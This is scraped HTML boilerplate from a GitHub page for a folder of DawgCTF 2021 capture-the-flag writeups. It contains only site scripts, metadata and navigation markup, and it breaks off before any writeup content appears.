integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6CD:0527:751BC0:7F98F9:61830708" data-pjax-transient="true"/><meta name="html-safe-nonce" content="473762f83d7a281f21e36860c851af09b32b091c85a3be1422d55e46ab2b63d0" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkNEOjA1Mjc6NzUxQkMwOjdGOThGOTo2MTgzMDcwOCIsInZpc2l0b3JfaWQiOiI1MzYyNjQ5MjQ0OTAzODY4MTY4IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="57f84bef0fd23a2f845fc917d824b567617199bcbfc2f28a42282f46a87c12f2" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="J2GofzR5wQ6+sAj53QT8+2xXhPKF86Iop9hUvFh4XExzv+gwYU3j8eWNCflDaFurb5jSDPkkvhIGTYCcGd+DeQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 